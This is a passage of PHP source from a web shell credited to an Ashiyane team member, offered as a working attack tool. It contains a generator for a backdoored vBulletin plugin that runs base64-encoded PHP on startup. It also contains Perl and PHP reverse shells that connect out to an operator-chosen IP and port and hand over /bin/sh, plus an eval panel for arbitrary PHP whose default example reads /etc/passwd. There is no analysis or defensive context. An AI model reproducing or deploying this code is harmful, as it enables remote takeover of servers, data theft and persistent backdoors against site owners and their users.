2479$code=$_POST['code'];
2480}
2481$code = 'base64_decode('.$code.')';
2482$head = '<?xml version="1.0" encoding="ISO-8859-1"?>
2483
2484<plugins>
2485 <plugin active="1" product="vbulletin">
2486 <title>vBulletin</title>
2487 <hookname>init_startup</hookname>
2488 <phpcode><![CDATA[if (strpos($_SERVER["PHP_SELF"],"subscriptions.php")) {';
2489$foot = 'exit;
2490}]]></phpcode>
2491 </plugin>
2492</plugins>';
2493echo"<br/><center><textarea rows='10' name='users' cols='80' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>";
2494echo $head.'base64_decode(\''.base64_encode($code).'\');'.$foot;
2495echo '</textarea></center><br>';
2496}
2497echo '</center></div>';
2498
2499 }
2500 if($action=="bc"){
2501
2502 function extension($in) {
2503$out = '';
2504if (function_exists('exec')) {
2505@exec($in,$out);
2506$out = @join("\n",$out);
2507} elseif (function_exists('passthru')) {
2508ob_start();
2509@passthru($in);
2510$out = ob_get_clean();
2511} elseif (function_exists('system')) {
2512ob_start();
2513@system($in);
2514$out = ob_get_clean();
2515} elseif (function_exists('shell_exec')) {
2516$out = shell_exec($in);
2517} elseif (is_resource($f = @popen($in,"r"))) {
2518$out = "";
2519while(!@feof($f))
2520$out .= fread($f,1024);
2521pclose($f);
2522}
2523return $out;
2524}
2525
2526
2527
2528$back_connect_p='#!/usr/bin/perl
2529use Socket;
2530$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
2531$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
2532$proto=getprotobyname("tcp");
2533socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
2534connect(SOCKET, $paddr) || die("Error: $!\n");
2535open(STDIN, ">&SOCKET");
2536open(STDOUT, ">&SOCKET");
2537open(STDERR, ">&SOCKET");
2538system("/bin/sh -i");
2539close(STDIN);
2540close(STDOUT);
2541close(STDERR);
2542';
2543
2544echo "<center><h3><span>Back Connect</span></h3>";
2545echo "<form method=\"post\" action=\"?action=bc&dir=$path#down\">
2546<input type=\"hidden\" name=\"type\" value=\"perl\">
2547<span>PERL BACK CONNECT<br></span><br><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'>
2548Port: <input type='text' name='port' value='443'><input type=submit name=bc value='>>'></form></b>";
2549
2550
2551echo "<br><form method=\"post\" action=\"?action=bc&dir=$path#down\">
2552<input type=\"hidden\" name=\"type\" value=\"php\">
2553<span>PHP BACK CONNECT<br></span><br><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'>
2554Port: <input type='text' name='port' value='443'> <input type=submit name=bc value='>>'></form><br>";
2555
2556if(isset($_POST['type'])) {
2557function cf($f,$t) {
2558$w = @fopen($f,"w") or @function_exists('file_put_contents');
2559if($w){
2560@fwrite($w,$t);
2561@fclose($w);
2562}
2563}
2564
2565if($_POST['type'] == 'perl') {
2566cf("/tmp/bc.pl",$back_connect_p);
2567$out = extension("perl /tmp/bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &");
2568echo "<span style=\"color:green\">Successfully opened reverse shell to ".$_POST['server'].":".$_POST['port']."<br>Connecting...[Perl]</span>";
2569@unlink("/tmp/bc.pl");
2570}
2571
2572if($_POST['type']=='php')
2573{
2574@set_time_limit (0);
2575$ip = $_POST['server'];
2576$port =$_POST['port'];
2577$chunk_size = 1400;
2578$write_a = null;
2579$error_a = null;
2580$shell = 'uname -a; w; id; /bin/sh -i';
2581$daemon = 0;
2582$debug = 0;
2583if (function_exists('pcntl_fork')) {
2584$pid = pcntl_fork();
2585if ($pid == -1) {
2586echo "Cant fork!<br>";
2587exit(1);
2588}
2589if ($pid) {
2590exit(0);
2591}
2592if (posix_setsid() == -1) {
2593echo "<span style=\"color:red\">Error: Can't setsid()</span><br>";
2594exit(1);
2595}
2596$daemon = 1;
2597} else {
2598echo "<span style=\"color:red\">WARNING: Failed to daemonise. This is quite common and not fatal<br></span>";
2599}
2600chdir(htmlspecialchars($GLOBALS['path']));
2601umask(0);
2602$sock = fsockopen($ip, $port, $errno, $errstr, 30);
2603if (!$sock) {
2604echo "$errstr ($errno)";
2605exit(1);
2606}
2607$descriptorspec = array(
26080 => array("pipe", "r"),
26091 => array("pipe", "w"),
26102 => array("pipe", "w")
2611);
2612$process = proc_open($shell, $descriptorspec, $pipes);
2613if (!is_resource($process)) {
2614echo "ERROR: Can't spawn shell<br>";
2615exit(1);
2616}
2617@stream_set_blocking($pipes[0], 0);
2618@stream_set_blocking($pipes[1], 0);
2619@stream_set_blocking($pipes[2], 0);
2620@stream_set_blocking($sock, 0);
2621echo "<span style=\"color:green\">Successfully opened reverse shell to $ip:$port [Php]</span><br>";
2622while (1) {
2623if (feof($sock)) {
2624echo "<span style=\"color:red\">ERROR: Shell connection terminated</span><br>";
2625break;
2626}
2627if (feof($pipes[1])) {
2628echo "<span style=\"color:red\">ERROR: Shell process terminated</span><br>";
2629break;
2630}
2631$read_a = array($sock, $pipes[1], $pipes[2]);
2632$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
2633if (in_array($sock, $read_a)) {
2634if ($debug) echo "SOCK READ<br>";
2635$input=fread($sock, $chunk_size);
2636if ($debug) echo "SOCK: $input<br>";
2637fwrite($pipes[0], $input);
2638}
2639if (in_array($pipes[1], $read_a)) {
2640if ($debug) echo "STDOUT READ<br>";
2641$input = fread($pipes[1], $chunk_size);
2642if ($debug) echo "STDOUT: $input<br>";
2643fwrite($sock, $input);
2644}
2645if (in_array($pipes[2], $read_a)) {
2646if ($debug) echo "STDERR READ<br>";
2647$input = fread($pipes[2], $chunk_size);
2648if ($debug) echo "STDERR: $input<br>";
2649fwrite($sock, $input);
2650}
2651}
2652fclose($sock);
2653fclose($pipes[0]);
2654fclose($pipes[1]);
2655fclose($pipes[2]);
2656proc_close($process);
2657echo "</pre>";
2658}
2659}
2660
2661 }
2662
2663 if($action=="eval"){
2664 ?><center>
2665 <span style="font-size:20px;"><b>PHP Eval</b></span>
2666 <a name="down"></a><form action="?action=eval&dir=<?php echo $path;?>#down" method="post">
2667<table><tr><td>
2668
2669<textarea name="eval" style="width:1000px;height:300px;">
2670<?php
2671if(isset($_POST['submiteval'])) {
2672 echo eval(magicboom($_POST['eval']));}
2673 else{
2674 echo "echo file_get_contents('/etc/passwd');";
2675}
2676?>
2677</textarea>
2678</td></tr>
2679<tr><td>
2680<input type="submit" value="Do !" name="submiteval" />
2681</td></tr>
2682
2683</table></form>
2684</center>
2685
2686 <?php
2687 }
2688 if($action=="logout"){
2689
2690 ?>
2691
2692 <form action="?action=logout" method="post">
2693 <span>Do You Really Want To Logout From Shell?</span><br />
2694 <input type="submit" value="Yes" name="accept" />
2695 </form>
2696
2697 <?php
2698 if(isset($_POST['accept']) && $_POST['accept'] != "" && $_POST['accept']=="Yes"){
2699
2700unset($_SESSION[$_SERVER['HTTP_HOST']]);
2701header("location: ?action=explorer");
2702
2703
2704 }
2705
2706
2707
2708
2709 }
2710
2711
2712}
2713//Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
2714
2715?>
2716<br />
2717</div>
2718</div>
2719</body>
2720</html>